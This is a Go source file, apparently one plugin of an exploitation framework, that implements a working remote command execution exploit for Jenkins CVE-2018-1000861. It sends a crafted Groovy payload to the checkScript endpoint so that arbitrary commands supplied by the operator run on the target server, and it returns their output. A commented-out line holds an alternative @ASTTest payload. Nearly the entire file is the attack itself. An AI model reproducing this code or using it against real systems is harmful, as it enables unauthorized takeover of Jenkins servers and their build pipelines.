package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	logx "gitee.com/wudicaidou/menciis-logx"
	"io/ioutil"
	"net/http"
	"net/url"

	"gitee.com/wudicaidou/menciis-pocx/pocbase"
)

// Jenkins_CVE-2018-1000861远程命令执行漏洞
type JenkinsCve20181000861 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp JenkinsCve20181000861
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *JenkinsCve20181000861) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "631e1929-82a0-478b-9e89-9ab2e9b7b3a4",
		VulId:   "e52c3e7f-b706-4dd2-a39a-0f67def223ba",
		Name:    "Jenkins_CVE_2018_1000861",
		Ability: expbase.TypeCommandExecution,
		Echo:    false,
	}
}

func (t *JenkinsCve20181000861) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	if len(expContext.CommandToExecute) == 0 {
		return nil, nil
	}

	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}

	var (
		newUrl   *url.URL
		resp     *http.Response
		respBody []byte
	)

	req := reqAsset.Req.Clone()
	req.RawRequest.Method = http.MethodGet

	for _, cmd := range expContext.CommandToExecute {
		endpoint := req.GetUrl().String() + "/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){\"" + url.PathEscape(cmd) + "\".execute()}}"
		//endpoint := req.GetUrl().String() + "/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+%22" + url.PathEscape(cmd) + "%22.execute().text+%7d)%0aclass+Person%7b%7d"

		newUrl, err = url.Parse(endpoint)
		if err != nil {
			logx.Error(err)
			return nil, err
		}

		/*parsedQuery, _err := url.ParseQuery(newUrl.RawQuery)
		if _err != nil {
			logx.Error(_err)
			return nil, _err
		}

		var distUrl string
		if len(parsedQuery) > 0 {
			distUrl += strings.Join([]string{strings.Replace(newUrl.String(), "?"+newUrl.RawQuery, "", -1), parsedQuery.Encode()}, "?")
		} else {
			distUrl += strings.Replace(newUrl.String(), "?"+newUrl.RawQuery, "", -1)
		}

		newUrl, err = url.Parse(distUrl)
		if err != nil {
			logx.Error(err)
			return nil, err
		}*/

		req.RawRequest.URL = newUrl

		resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
		if err != nil {
			logx.Error(err)
			return nil, err
		}

		respBody, err = ioutil.ReadAll(resp.Body)
		if err != nil {
			logx.Error(err)
			return nil, err
		}

		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    respBody,
		})
	}

	return
}

func (t *JenkinsCve20181000861) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *JenkinsCve20181000861) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
